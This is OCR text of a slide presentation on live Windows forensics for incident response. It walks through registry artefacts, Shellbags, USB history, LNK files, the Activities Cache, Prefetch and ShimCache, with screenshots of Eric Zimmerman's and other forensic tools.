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Importance of Live Forensics | Incident Response

“We need to look at these various OT HMI
Windows systems at the LNG gas plant to
see of there is any evidence that they have
been breached...oh, and they do not have
an EDR much less an AV tool installed...”
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Importance of Live Forensics | Incident Response

Triage exercise

Refer to MITRE ATT&CK G
: : \\e‘

Key Windows Artifacts WYL

—- Registry

— Contents of important files \N“a‘ sl

— Running Programs
- Investigating Common Windows Processes

Device Memory Analysis
We have to be efficient and not impact the OT system
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Key Windows Artifacts | Registry

e Giant database that the OS uses to function
e c:\windows\system32\config

— DEFAULT, SAM, SECURITY, SOFTWARE and SYSTEM — most common
hives we refer to when performing DFIR

— “Regback” dir includes a backup of the registry hives — useful if an
attacker tries to perform anti-forensics and delete keys, etc. (often
forgotten by the attacker)

e All user profiles also have an individual NTUSER.DAT — plugs
into the registry as “HKCU”.
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@ Registry Explorer v2.0.0.0
File Tools Options Bookmarks(31/0) View Help
@ Load hive Ctrl+0O 1/0) Values
| Live system » |G Users » | @ Default NTUSERDAT
@ Unload all hives Alt+0 &4 Amcachehve &3 Default UsrClass.dat \Value Name | value Type
@ Project > | &8 SAM & Peter Morin NTUSER.DAT Alc Al
H Export 'Registry hives' » | &4 SECURITY & Peter Morin UsrClass.dat Bitmap RegExpandsz
@ b @) SOFTWARE & Public NTUSER.DAT poxt i
DEFAULT SAM ‘ rowugrouTcauonT) @ SYSTEM & Public UsrClass.dat i i
) ) HotPlugProvider I UTUITUSE ]
SECURITY, SOFTWARE s Ko w s
’ » [~ MyComputer 0 5 2017-03-1i
» 7 NetworkNeighborhood 0 1 2017-03-1
an d SYST E M , NewShortcutHandlers 1 0 2017-03-u
N TU S E R . DAT » [ NotificationArea 0 2 2017-03-1
[~ OEMWC 0 0 2017-03-1
— OpenContainingFolderHiddenList 4 0 2017-03-1
» [ OSSyncStatusProviders 0 2 2017-03-1
= PickerResources 1 0 2017-03-%
PLM 2 0 2017-03-1
Power 4 0 2017-03-1
» [ PrintersAndFaxes 0 1 2017-03-1
» [ PublishingWizard 0 1 2017-03-1
» [ QueryBuilder 0 1 2017-03-1
= RecentDocs 1 0 2017-03-1 FIDE MeWet | ST e
» = RemoteComputer 0 1 2017-03-1__| | Value name IBitmap
» [~ ResetUserProfileCallbacks 0 1 2017-03-% :
- Value type IW
ResourceTimers 1 0 2017-03-1
» [ Search 0 1 2017-03-1 Value %SystemRoot%\s
P a 4+ masman

Eric Zimmerman - https://ericzimmerman.github.io/
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Key Windows Artifacts | Explorer

Values | Recent documents

HKCU\SOFTWARE\Microsoft\Windows\ ol

. Extension Value Name Target Name Lrk Mame Mru Position Opened On Extension Last Opened
CurrentVersion\Explorer O i o o - - -
RecentDocs 1 temp temp.Ink 0 2024-04-03 13:10:16 2024-04-03 13:10:16
RecentDocs 5 regrip. bkt regrip.Ink i 2024-04-03 13:01:02
- \CO m D I g 3 2 RecentDocs 4 This PC This PC.Ink 2
RecentDocs 3 c=\ Local Disk (C) (2).Ink 3
L V‘ d P . d | IVI R U RecentDocs 2 Local Disk (C:) Local Disk (C).Ink 4
- \ a St I Ste I RecentDocs [u} RegistryExplorer.zip RegistryExplorer.Ink 5 2024-04-03 12:37:04
Folder 2 temp temp.Ink 0 2024-04-03 13:10:16
— \Opensavepid I M RU Folder 1 This PC This PC.Ink 1
Folder 0 Local Disk (C:) Local Disk (C).Ink 2
b | .3p 0 RegistryExplorer.zip RegistryExplorer.Ink 0 2024-04-03 12:37:04
— \Re Ce ntDOCS et 1] regrip. it regrip.Ink 0 2024-04-03 13:01:02

— \RunMRU
— \TypedPaths L — B

Type viewer Slack viewer

_ \USEFASSISt 00 01 02 03 04 05 06 07 08 09 OA 0B 0C 0D OE OF 10 11 12 13 14 15 16 17 18 19 1A 1B 1C

74 00 65 00 6D 00 70 00 00 00 5A 00 32 00 00 OO0 OO OO OO 0O 00 00 00 00 74 65 6D 70 2E tbemp . Z2........... tenp.

6C 6E 6B 00 00 42 00 09 00 04 00 EF BE 00 00 OO0 OO OO OO 0O 00 2E OO 0O 00 00 00 00 00 Ink..B..... [
00 00 00 00 00 00 00 00 00 00 OO0 OO0 00 OO0 OO OO OO OO OO OO 00 00 74 00 65 00 6D OO0 70 ... ... s t.e.mp
00 2E 00 ®C 00 6E 00 6B 00 00 00 18 00 00 0O ook

\RecentDocs
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Key Windows Artifacts | Explorer

3 Run >

Type the name of a program, folder, document, or Internet

L= resource, and Windows will open it for you.
Values | RunMRU

Open: v
Value Mame | Value Type |Data Value Slack Is Deleted Data Rel
7 | afc Aflc e Aflc ]
b la RegSz cmd i1 QK Cancel EBrowse...
MRLList Regsz edcba ™ F
b Regsz powershell.exell OF-00
C Regsz mspaintl1
d Regsz cmd.exell
e Regsz notepad.exell

\RunMRU (Most Recently Used) associated with a specific user’s NTUSER.DAT
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Key Windows Artifacts | Explorer

| |ﬂ_ = | Program Files (x26)

Home Share Wiew

Values
« v N | C:\Program Files (x36)
& Mame Drate
Value Mame Value Type Data Value Slack I= Deleted L # Quick access
B Deskt » AccessData 473
] eskto
7|l e Qe Qe FI Common Files 3714
k| urll RegSz C:\Ranszomware_src_files 74-00-20-00-45-00-73-00-70-00-6C-0... ; Downloads o Internet Explorer 218
url2 RegSz C:\Windows\System32\config 78-00-70-00-6C-00-6F-00-72-00-65-0... |=| Documents Microsoft. NET 3/18
url3 RegSz Peter Marin 00-31-00-41 | Pictures o Windows Defender 3/14
url4 Regsz C:\temp 00-41-00-45 i Local Disk () Windows Mail 3/14
url5 RegSz c:y 08-AD-0F-00 D Music Windows Media Player 3/18
Windows Multimedia Platform 3/14
temp
) Windows NT 318
B videos ] ]
Windows Photo Viewer 318

\TypedPaths (explicit location typed into Windows Explorer) associated with a specific user’s NTUSER.DAT
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Values |serAssist

Program Mame Run Counter
7 | e =

Microsoft. WindowsCaloulator_gwekyb3dabbwe ! App 3
{System}imspaint. exe 3
{System}notepad.exe 10
Microsoft. Windows. Explorer 2
windows.immersivecontralpanel_cwsn 1h2toyewy!microsoft. windows.immersive ]
controlpanel

[y

D:\setupsd.exe

Microsoft. Windows. ShelExperienceHost_owSn 1h2toyewy! App ]
{System}iomd. exe 3
C:\Users'\Peter MoriniDownloadswindowsdesktop-runtime-6.0., 28-win-x54. exe i
Ci\Users'\Peter MorinAppDataiLocal{Temp{Unmapped GUID: 1]

1EDDOFEF-A465-4C 54-9C 27-13DAEFSEEFESH . cr Wwindowsdesktop-runtime-&.0
. 28-win-x54.exe

Ci\Users'Peter 10
Marin\Downloads\RegistryExplorer\RegistryExplorer\RegistryExplorer .exe

Ci\Users\Peter MoriniDownloads\RegRipper 3. 0-master yrr.exe 3
Microsoft. Windows. Cortana_ow5n 1h2boyewy! Cortanalll 1]
{Windows}regedit.exe 2
Ci\Users'Peter MoriniDownloads\RegRipper 3. 0-master rip.exe 1
Ci\Users'Peter MoriniDownloads\AccessData_Registry_Viewer_2.0.0.exe |

Total rows: 42

Focus Time

-

0d, oh, 02m, 30s
0d, oh, 0im, 50s
0d, oh, 01m, 34s
0d, oh, 27m, 445
0d, Oh, 01m, 37s

0d, Oh, 00m, 59s
0d, Oh, 00m, 10s
0d, Oh, 00m, 30s
0d, Oh, 00m, 00s
0d, Oh, 00m, 03s

0d, Oh, 31m, 48s

0d, oh, 04m, 21s
0d, oh, 01m, 565
0d, Oh, 02m, 195
0d, Oh, 00m, 00s
0d, Oh, 00m, 00s

Last Executed

2024-04-03 04:34: 20
2024-04-03 14:37:09
20240403 144725
2024-04-03 12:49:24

2024-04-03 04:38:51

20240403 14:37:27
240403 12:34:35

20240403 14:51:57

2024-04-03 13:03:15

2024-04-03 1432:12

20240403 130324
2024-04-03 13:09: 26

\UserAssist (when a GUI program was last executed and how many times) associated with a specific user’s NTUSER.DAT
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Key Windows Artifacts | Shellbags

* Ever noticed modified folder settings persisting
when you revisit them?

HKCU\Software\Microsoft\Windows\Shell

* Shellbags are registry keys utilized by Windows \BagMRU
to customize the look and feel of a folder (e.g., pBazs
icons, position, size, sorting method)

 Works on folders on network drives and
removable devices (e.g., E, D, F).

* Shellbags persist for things that have long since
deleted - you can prove whether a specific
folder was accessed by a particular user or not.
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& che Bags

File Tools Help

Value
4 ﬁ Desktop
p 'I:l' This PC Value Icon | Shel Type MRU Positon | Created On | Modified On | Accessed On | First Interacted
3 -I:I- Downloads ¥ | #Hc Mo im... sHc = = = - —
4 '_J C:
= ;
3 | E Ransomware_src_files |
TI=m o
»[E Windows
v [ Program Files
E temp
r[ Users

-]:[- Documents
-I:[- Quick Access
-I:l- Shared Documents Folder {Users Files)

Summary Details Hex

Name: Ransomware_src_files

Absolute path: Desktop'This PC\C:'\Ransomware _src_files
Kev-Value name path: BagMR1N0\1-4

Registry last write time: 2024-04-03 14:55:31 599

Target timestamps

Created on: 2024-04-03 14:43:00.000
Modified on: 2024-04-03 14:43:00.000
Last accessed on: 2024-04-03 14:43:00.000

Miscellaneous

Shell tvpe: Directory
Node slot: 28

MRU position: 1

# of child bags: 0

First interacted with: 2024-04-03 14:43:11.237

ShellBags Explorer
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Key Windows Artifacts |

File Tools Options Bookmarks (31/0) View Help

Registry hives (1) Available bookmarks (31/0)

= Find
Key name #values | # subkeys
7 | af@c = =
4 @ C\Windows\system32\config\SYSTEM
ROCT 0 1
¥ [F= ActivationBroker 1}
4[~= ControlSetd01 1}
¥ [F= Control 1 12
4[7= Enum 90 z
¥ [ ACPI 0 3
¥ [£5] ACPI_HAL [u]
» [ BTH o
» 5= DISPLAY o
¥ [T HDAUDIO o
» E/HID o] 3
» £ HTREE 0
» [ INTELALDIO 0
¥ o] PCI 0 3
» £S5 ROOT 0 1
¥ 5] SCSI 0
¥ [-= STORAGE 0
YESISW 0
¥ 51 5WD 0
¥ [55 UEFT 0
» B USB 0 g
b 4 USBSTOR 0
4~ Disk&Ven_ST310005&Prod_20ASERev_ o
¥ [C= 903IFFFFFFFF&0 12
4 Disk&Ven_TOSHIBA&Prod_External_USB_3.0 o
» [C= 20200210003522F&0 12
» - {55BC022C-9556-4087-A880-D3E68CBEB2F 4} 0
v [ {5d624f34-3850-40c3-a3fa-a4fd2080baf3} 0
¥ [ {8e7bd593-6e6c-4c52-86a6-77175494ddBe} 0
v [ {ABTC2EDF-9A46-46b8-8EC4-E33355FBEIF T} 0
v == {DDSEBZAE-3348-99A2-AEAE-AEBOFD5C400D} 0
¥ [F= Hardware Profiles 1}

Values | USBSTOR

Timestamp

2024-03-30 13:1%:37

2024-03-30 13:27:16

Total rows: 2

Type viewer

Manufacturer
Al
Ven_ST310005

Ven_TOSHIBA

Title
Adc
Prod_20A5

Prod_External_USB_3.0

USB Devices

Version
Al

Rev_

Rewv_0

Serial Number
Adc
903 IFFFFFFFF&D

20200210003522F 80

Device Name

Al

5T310005 20A5 USB
Device

TOSHIBA External USB
3.0 USB Device

Disk Id Installed
Adc =

{1534ffd3-ed32-11ee-b | 2024-03-30 13:13:37
a90-343%aea2afd}

{15350060-ed32-11ee-
bag0-34f3%aea2afd}

2024-03-30 13:27:16

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR < Class ID / Serial #

First Installed

2024-03-30 13:1%:37

2024-03-30 13:27:16

Last Connected

2024-03-30 13:13:37

2024-04-01 00:07:21

P

Last Removed

2024-03-30 13:16:13

2024-04-0101:02:15

Export | 7
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Key Windows Artifacts | USB Devices

E Find
Value Name Value Type  |Data Value Slack Is Deleted
Ke # val # subke I
By namg values Sul Ys na[ nu[ nﬁ[ nu[ ]
REJC = = A
=i f b | DeviceDesc RegSz @usbstor.inf, %genericbulkonly. devicedesc %&;USE Mass Stor...
W F
» F= swD z LocationInformation RegSz Port_#0001.Hub_#0002 00-00
\JEFT 0 Capabilities RegDword 143
UsB 0 3 Address RegDword |1
() - 0 ContainerlD Regsz {7350d9ee-5d2a-54b9-8671-56b2486b 52 75} 00-00-00-00-00-00
I
0 HardwareID RegMultiSz | USBWID_04808PID_0901SREV_0000 USE\VID_0480&PID_0...
h_UU 0 CompatibleIDs RegMultiSz  USB\Class_0885ubClass_06&Prot_50 USB\Class_08&5ubCla...  6F-00-6C-00
II_01 0 ClassGUID ReaSz {36fc9e60-c465-11cf-8055-444553540000} 69-00-6E-00-64-00
{ L Service Reg5z USBSTOR 58-00-38-00
1100 v Driver ReqgSz {36fc9e60-c465-11cf-8056-444553540000} 0020 77-00-73-00
values = USBSTOR EI_UZ 0 ) ) : .
5 Mfg RegSz Busbstor.inf, %generic.mfg%e;Compatible USE storage device | 70-00
— { 0 ConfigFlags RegDword 1]
Timestamg Marufachurer Tithe Vigrginn Serial Number D 0
Fouskes | & pbleya || - - a - o g
= 0 * * C i
2240330 1k rrod A5 Ry FIIFFFFFFRFSD TR0 g
w02 0
0 203440330 13:27: 16 Prod_Extermal_L Rev_D 202007 10003532760 HL_04 0 - ) e
a @_DS a . Type viewer Binary viewer
a 0 * | Value name |DewceDesc
24 [_00 1]
T i = Value type |RegSz
¥ [T VID_046DEPID_C52FRMI_01 0
¥ [~ VID_046DEPID_C534 1} Value @usbstor.inf, ¥genericbulkonly. devicedesc¥;USB Mass Storage Device
¥ [T VID_046DEPID_C5343MI_00 0
» [~ VID_D46D&PID_C5348MI_01 0
» [T VID_047F&PID_4308 0
» = VID_D47F&PID_430B&MI_00 0
» [~ VID 047F&PID 430BEMI_03 a
47 VID_D4808PID_0901 1]
Al 20200210003522F 12
1 i )t 3
¥ [~ Properties 1}
¥ [T VID_O4CARPID_7053 0
» = VID_D4CABPID_70538MI_00 0

HKLM\SYSTEM\CurrentControlSet\Enum\USB < VID / PID (Vendor ID / Product ID)
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Key Windows Artifacts | USB Devices

ez USB\VID_o0480 = Toshiba Electric Device & Storage

» [ VID_047F&PID_430B&MI_03 0 Corporation (TDSC) - USB ID Database
d = VID 0420%PID 0901 0 Vendor ID and Product ID list
471 20200210003522F 12 Lookup USB devices with Vendor ID, Product ID and/or Name:
b [ Device Parameters endor I .
b [ Properties 0
Product ID 0X0g0o1
Name

Search Results:

VID PID Name
0X0480 Toshiba Electric Device & Storage Corporation (TDSC)
ox0480 Toshiba Ametrica Inc

....... www.toshiba.com

oxo480 oxogoi  JToshiba America Inc External USB 3.0

https://the-sz.com/products/usbid/
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Key Windows Artifacts | LNK “Link” Files

 What if the original file has been removed??

 Windows automatically creates these shortcuts when the user
open, uses or creates a file or folder

— C:\Users\AppData\Roaming\Microsoft\Windows\Recent\

7

& | |ﬂ_ + | Recent ltems - O *
Home Share View e
<« v A 3 5 ThisPC » Local Disk (C:) » Users » Peter Morin » AppData » Reaming * Microsoft + Windows * Recent ltems v 0 Search Recent [tems 2

Mame Date modified Type Size
# Quick access }
Linkld=834723 /342024 7:03 AM Shortcut 1KB
[ Desktop - L ] )
s Local Disk (C:) f3/2024 7:31 AM Shortcut 1KB
‘_' Downloads 4 | ocal Disk (C:) 3/2024T:51 AM Shortcut 1KB
= Documents & [T cearchiq=regedut@form=WNSGPHBgs..  4/3/2024732 AM  Shorteut 1KB
| Pictures * Ransomware_src_files 3/2024 7:51 AM Shortcut 1KB
e Local Disk (C) o : RegistryExplorer f3/2024 537 AM Shortcut 1KB
J», Music + |:| regrip /3/2024 6:07 AM Shortcut TKB
|:| SecretFile bt 3/2024 10:57 AM Shortcut TKB
temp -
SecretSauce 47372024 704 AM Shortcut 1KB
B videos E )
temp 4/3/2024 10:57 AM Shortcut 1KBE
@ OneDrive 2 The Internet 4/3/2024 7:32 AM Shertcut 1KE
. = This PC 4/3/2024 7:31 AM Shortcut 1KB
= This PC
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Key Windows Artifacts | LNK “Link” Files

BN Administrator Command Prempt — O b4

Example:

These LNK files were found in a
bad actor’s “RecentDocs” in
their NTUSER.DAT hive:

e 1scan.lnk

e 1minik.Ink

e Ip.txt.Ink
 Mimikatz.log.Ink

» NoKnownFolde

-- press ENTER --

=ster Morin\Downloa

rMorinl23




Key Windows Artifacts | Activities Cache Database

* Timeline is a Windows characteristic that provides
chronological history of web pages visited, edited documents,
and executed applications.

 The database resides in the path
\Users\<username>\AppData\Local\ConnectedDevicesPlatfor
m\<id>\ActivitiesCache.db.
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EE Administrator: Command Prompt

WxTCmd version ©.6.8.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.

com/EricZimmerman/WxTCmd

Command line: -f C:\Users\Peter Morin\AppData‘\Local\ConnectedDevicesPlatform\fdlc8dc2249aeeld\ActivitiesCache.db --csv

\temp

ActivityOperation entries found: 370
Activity Packageld entries found: 2,322
Activity entries found: 399

Results saved to: c:\temp

Processing complete in 8.6 seconds

|_;' Timeline Explorer v2.0.0.1
File Tools Tabs View Help

20240402170713_Peter Morin_Activity.csv

Drag a column header here to group by that column
Line Tag Id Opera..|App Id

T = [] Aflc = A
142 554f6bfd-eff6-c2a8-9784-5... 301 [{"application":
143 7e464080-ta77-tbcc-989d-1.. 387 [{"application™
144 67a8dffc-c3e5-d989-91ba-8... 309 [{"application”:
145 5101b7d6-68d1-8633-913b-8... 310 [{"application":
146 b940671a-1F8d-5184-2233-4.. 312 [{"application”
147 e509a825-a928-60c8-3011-9... 313 [{"application™
148 71cAdaBa-8bdc-018e-ebb2-d.. 314 [{"application”:
149 efed7abe-7fc6-3bb9-9e34-c... 317 [{"application"

202404021707 13_Peter Morin_Activity_PackagelDs.csv

"Microsoft.Windows . Exp..
"MSEdge", "platform™: "w..
"Microsoft.Windows . Exp..
"Microsoft.0ffice.POWE..
"MSEdge","platform™: "w..
"Microsoft.0ffice.POWE..
"com.squirrel.Teams.Te..

"Microsoft.Windows . Exp..

Microsoft.Windows.Explorer
MSEdge
Microsoft.Windows.Explorer
Microsoft.Office.POWERPNT.EXE.15
MSEdge
Microsoft.Office.POWERPNT.EXE.15
com.squirrel.Teams.Teams

Microsoft.Windows.Explorer

202404021707

Description

e

This database can be opened with
an SQLite tool or with the tool
WxTCmd which generates 2 files
that can be opened with the tool
Timeline Explorer.

= a
13_Peter Morin_ActivityOperations.csv
Enter text to search...
Display Text Start Time End Time
e = =

2024-83-30 13:33:23 2024-03-30
2024-03-30 13:47:48 2024-03-30
2024-83-30 14:97:36 2024-0©3-30
AtlSecCon 2024 .pptx (Powe.. 2024-83-30 14:088:52
2024-83-30 13:33:59 2024-03-30
2024-03-30 14:08:49 2024-03-30
2024-94-91 ©9:91:53 2024-04-01
2024-84-81 ©0:92:59 2024-04-01
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Prefetcher and SuperFetch are part of Windows' memory
manager

Prefetcher is the less capable version included in Windows
XP

Prefetcher was extended by SuperFetch and ReadyBoost in
Windows Vista+

Ensures that often-accessed data can be read from the RAM
instead of slow HDD

Can speed up boot and shorten amount of time to start
programs

Another way of confirming application execution — similar to
UserAssist that show the execution of GUI-based application
(tied to a specific user)

This is global (all users) and includes command line
programs

Key Windows Artifacts — Prefetcher and Superfetcher

I 4 = | C\Windows\Prefetch

Share WView
« v » ThisPC » Local Disk (C:) » Windows » Prefetch »
Mame
s Quick access
ReadyBoot

w

>

@ OneDrive - Persenal

[ This PC
. 3D Objects
[ Desktop
|| Documents
‘ Downloads
J’l Music
| Pictures

m Videos

= Local Disk (C:)

¥ Network

|| _IU14D2N . TMP-24C78BFB pf

| | ACROBAT.EXE-F34FIB2A.pf

| | ADOBE_LICENSING_WF_ACRO.EXE-D948422D.pf
[ ALEXE-517C04F0.pf

| | APPINSTALLER.EXE-FOD13764A.pf

|| APPLICATIONFRAMEHOST.EXE-BCESATEE.pf
|| AUDIODG.EXE-AB22E9AG. pf

| | BACKGROUNDTASKHOST.EXE-F8BZDDO1. pf
|| BDEUNLOCK.EXE-ABTTADFE.pf

| | BOOTSTRAPPER.EXE-T5E11FOZ.pf

| | cadrespri.7db

|| CHROME.EXE-AEDTBA3C.pf

|| CHXSMARTSCREEN.EXE-F3281904.pf

|| CMD.EXE-0BD30981.pf

| | COMPATTELRUNMER. EXE-BTABBECC.pf

|| CONHOST.EXE-DCB456FB.pf

| | CONSENT.EXE-40419367.pf

| | DLLHOST.EXE-3D723117.pf

| | DLLHOST.EXE-4BECB38A. pf

| | DLLHOST.EXE-23D85718.pf

|| dynrespri.7db

|| EXPLORER.EXE-DSE97654.pf

| | FILECOAUTH.EXE-6CBF4370.pf

| | FILECOAUTH.EXE-T733CT8F.pf

| | FILESYNCCONFIG.EXE-0451EBB3.pf
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| 4] || = | C\Windows\Prefetch

« - v

3 Quick access

Share View

» This PC » Local Disk (C:) » Windows » Prefetch »

Mame

ReadyBoot

& OneDrive - Personal [ ] _IU14D2N.TMP-24C78EFB.pf

~ [ This PC
. 30 Objects
[ Desktop
@ Documents
; Downloads
J‘ﬂ Music
= Pictures

B Videos

» g Local Disk (C)

oF Metwork

| | ACROBAT.EXE-F34F9B2A. pf
| | ADOBE_LICENSING_WF_ACRO.EXE-D348422D.pf
| ] ALEXE-517C04FD.pf
| ] APPINSTALLER.EXE-FOD1376A.pf
| | APPLICATIONFRAMEHOST.EXE-8CEATEE.pf
| ] AUDIODG EXE-AB22E9AG.pf
| | BACKGROUNDTASKHOST.EXE-FRB2DD01 pf
| | BDEUNLOCK.EXE-AGTTADFS.pf
| | BOOTSTRAPPER.EXE-TSE11F02.pf
|j cadrespri.7db
| [ CHF{OME.E}(EI&ED?BMC.pf |
| | CHXSMARTSCREEN.EXE-F9281904,pf
| ] CMD.EXE-DBD30981.pf
| ] COMPATTELRUNMER.EXE-BTABBECC. pf
| | CONHOST.EXE-0C6436FB. pf
| ] CONSENT.EXE-40419367.pf
| | DLLHOST.EXE-3D723117.pf
| | DLLHOST.EXE-4BGCB38A. pf
| | DLLHOST.EXE-23D85718.pf
|j dynrespri.7db
| | EXPLORER.EXE-D3E97654.pf
| ] FILECOAUTH.EXE-6CEF4370.pf
| ] FILECOAUTH.EXE-T733CT8F.pf
| | FILESYNCCOMFIG.EXE-0451EBB3.pf

You have the name of the program (green) and
the hash of file’s path on the system

Chrome is located in one location on the system

If it was located in two locations, there would be a
second prefetch file with a different hash
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P WinPrefetchVie

File Edit View

Options

Help

XERnE YA

Filename Created Time Medified Time File Size Process EXE Process Path Run Counter  Last Run Time Missing Pr...
[ TIWORKER.EXE-FBD79... 3/31/2024 9:02:3...  4/3/2024 1:57:53 ... 18,547 TIWORKER.EXE CAWindows\WinSxS\AMDE4_MICROSOFT-... 131 4/3/2024 1:57:43 PM, 4/3/2024 1:48:52 PM, ... Mo
(B TRUSTEDINSTALLER.E...  2/11/2022 10:42:...  4/3/2024 1:57:53 ... 4,502 TRUSTEDIMSTALLE...  C:\Windows\SERVICING\TRUSTEDINSTALLE... 255 4/3/2024 1:57:43 PM, 4/3/2024 1:48:51 PM, ... Mo
(=] UNINSD00.EXE-6373B..,  12/11/2021 3:34:...  12/11/2021 3:34:.., 7,543 UNINS000.EXE C:\PROGRAM FILES (X8E)\FOXIT SOFTWAR... 1 12/11/2021 3:34:34 PM Yes
(=] VMWARE-SHELL-EXT-... 4/3/2024 2:15:04 ... 4/3/2024 2:15:04... 9,884 WMWARE-SHELL-E... CAPROGRAM FILES (XBE)\WMware\VMWA,., 1 4/3/2024 2:15:01 PM Ne
(=l VMWARE-VMXEXE-6...  4/3/2024 10:47:5...  4/3/2024 2:56:55 .., 52,243 WMWARE-VMX.EXE  C:APROGRAM FILES (X86)\Whware\VMWA... 3 4/3/2024 2:56:54 PM, 4/3/2024 1:18:03 PM, ... Mo
[l VIMWARE-WORKSTATL.. 4/3/2024 1:06:54 ... 4/3/2024 1:06:54 ... 46,660 VMWARE-WORKS...  \WOLUME{0DDODDD000D000DD- B6F3d 7T AL, 1 4/3/2024 1:06:41 AM Na
(G VMWARE.EXE-3F17B2... 4/3/2024 1:12:42 ... 4/3/2024 %:03:58... 21,403 VIMWARE.EXE CAPROGRAM FILES (X86)\Whware\WVMWA,.. 2 4/3/2024 9:03:48 AM, 4/3/2024 1:12:32 AM Ne
(] VNETLIB64.EXE-335FR.., 4/3/2024 1:08:48 ... 4/3/2024 1:08:48 ... 5,755 VNETLIB64.EXE C:APROGRAM FILES (X86)\Whware\WMWA... 11 4/3/2024 1:08:48 AM, 4/3/2024 1:08:48 AM, ... Mo
[EIVMNETLIB64EXE-5D30..,  4/3/2024 1:08:47 ... 4/3/2024 1:08:47 ... 8,226 VNETLIB64.EXE C:APROGRAM FILES (X86)\COMMON FILES... 1 4/3/2024 1:08:47 AM Ne
(=] WHATSNEW.STORE.EX... 12/22/2021 1:47:...  12/22/2021 1:47..., 44,978 WHATSNEW.STOR...  C:APROGRAM FILES\WINDOWSAPPS\MICR.., 1 12/22/2021 1:47:29 PM Yes
(=] WINDOWSDESKTOP-R... 4/2/2024 5:08:11... 4/2/20245:09:11... 10,411 WINDOWSDESKTO...  CAUSERS\PETER MORINVAPPDATA\LOCAL.., 1 4/2/2024 5:09:07 PM Yes
(=l WINDOWSDESKTOP-R... 4/2/2024 5:09:21... 4/2/20245:09:21.. 29,365 WINDOWSDESKTO... CAUSERS\PETER MORINVAPPDATA\LOCAL.., 1 4/2/2024 5:09:10 PM Yes
[EIWINDOWSPACKAGE...  4/3/2024 11:36:4...  4/3/2024 11:36:4... 17,081 WINDOWSPACKA... CAPROGRAM FILES\WINDOWSAPPS\MICR.., 1 4/3/2024 11:36:45 AM Na
[Pl WINPREFETCHVIEW.E... 4/3/2024 3:29:09 ... 4/3/2024 2:29:09... 25,194 WINPREFETCHVIE..  C:\Users\PETER MORIN\DOWNLOADS\WI... 1 4/3/2024 3:28:58 PM Ne
(55 WINVER.EXE-B562C59... 4/3/2024 3:30:20...  4/3/2024 3:30:25... 6,585 WINVER.EXE C:\Windows\System32\winver exe 2 4/3/2004 2:30:23 P 422004 23018 DI hlo
O WINWORD.EXE-ABGE... 3/30/2024 9:26:3...  4/3/2024 3:08:11... 111,311 WINWORD.EXE C:APROGRAM FILES)| Properties x
@ WMIPRVSE.EXE-EBBS...  12/10/2021 3:26:...  4/3/2024 3:23:05... 6,761 WMIPRVSE.EXE C\Windows\Systern|
[l WUAUCLTEXE-5D573.., 4/3/2024 10:21:3..  4/3/202410:21:3.. 14,571 WUAUCLT.EXE CAWindows\System| [ llEName: [WINVER.EXE-B562C594.pf |
[EIWWAHOST.EXE-2CFA...  3/17/2024 3:37:4...  3/17/2024 3:37:4... 54,222 WWAHOSTEXE CAWindows\System| Created Time: |4/3/2024 3:30:20 PM |
(o] WWAHOST.EXE-G1743... 3/28/2024 3:51:1...  4/1/202412:25:3... 70,437 WWAHOST.EXE C\Windows\System| podified Time: |4."3||’2|]24 3:30:25 PM |
[ WWAHOST.EXE-G431E... 12/10/2021 3:41:...  12/10/2021 3:41:... 51,377 WWAHOST.EXE CAWindows\System| o ci . 6.585 |
[ WWAHOST.EXE-FE3D...  12/10/2021 2:46:...  12/10/2021 2:46x.., 52,757 WWAHOST.EXE C:\Windows\System
(| XBOXGAMEBARSPOT... 3/30/2024 9:24:2...  3/30/2024 9:24:2.., 27,032 XBOXGAMEBARSP... C:\PROGRAM FILES| FTocess EXE: [WINVER.EXE |
Process Path: |C:\Winduws\System32\winver.exe |

Filename Full Path Device Path Index Run Counter: |2 |
ADVAPIEZ.DLL C:\W!ndows\SysteT32\advap|32.dll \WOLUME{D1d7316870dd3eed-f67101... 42 Last Run Time:  [43/2024 3:30:23 PM, 4/3/2024 3:30:18 PM |
/%] BASEBRD.DLL Ch\Windows\Branding\Basebrd\base... ‘\WOLUME{01d7316870dd3eed-f67101... 32
[ BASEBRD.DLL.MUI C:\Windows\Branding\Basebrd\en-U.. \WOLUME{01d7316870dd3eed-f67101... 33 Missing Process: |No |
U BCRYPT.DLL C\Windows\System32\bcrypt.dll WOLUME{D1d7316870dd3eed-f67101... 24
4] BCRYPTPRIMITIVES.DLL  C\Windows\System32\BCRYPTPRIML.. \VOLUME{01d7316870dd3eed-f67101.. 36
[] comBASE.DLL ChAWindows\System32icombase.dll WOLUME{01d7316870dd3eed-f67101... 19
] comcmsz.oi CAWindows\WinSxS\AMDE4_MICRO... \WOLUME{01d7316870dd3eed-f67101.. 15
[ COMCTL32DLLMUI  CAWindows\WinSxS\AMDE4_MICRO... \VOLUME{01d7316870dd3eed-f67101.. 30
2] COREMESSAGING.DLL  C:\Windows\System32\COREMESSA...  \VOLUME{01d7316870dd3eed-f67101... 38

CAWindows\System32\COREUICOM...  \VOLUME{01d7316870dd3eed-f67101... 39

|J COREUICOMPONENT...
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Key Windows Artifacts — AppCompatCache (ShimCache)

* Shimcache enables users to run older versions of applications seamlessly on
modern Windows systems, ensuring compatibility for legacy software— A
“shim” essentially.

— Stored in SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
— When a program is “viewed” in Explorer it is added to the Cache
— Stores the filename, file path and a timestamp

— Timestamp is last modification of the file, NOT the time it was added to the ShimCache and
NOT the time the program was executed).

— Older versions of Windows you could determine execution time, NOT Windows 10.

— Renaming or moving a file will cause it to be re-shimmed, but not change its timestamp
— The last 1024 entries are retained in the cache

— Most recently added shimmed entries will be on the top

— Only written on reboot or shutdown
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Key Windows Artifacts — AppCompatCache (ShimCache)

Shimcache cannot be
used to determine when
an executable was run
(on Win 10), but can tell
us if it existed.

Another benefit against
anti-forensics — deleting
an executable, does not
remove it from the
ShimCache

E¥ Administrator: Command Prompt

ter Morin\Downloads\AppCompatCacheParser»AppCompatCacheParser.exe --c

che Parser version 1.5.8.8

riczimmerman(g

Command line: --csv ‘\temp --cswf shimcache.csv
Processing hive '
Found cache entries for in ControlSet8el

Results saved to "\ temp\shimcache.csv’

C:\Users\Peter Morin‘\Downloads‘\AppCompatCacheParser>_

sv \temp --csvf shimcache.cswv
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ﬁ'] Timeline Explorer v2.0.0.1 — .
File Tools Tabs View Help
shimcache.csv b
Drag a column header here to group by that column Enter text to search... Find
Line |Tag |Control S..|Duplicate | |Cache Entry Posi..|Hxecuted |Last Modified Time UTC Path

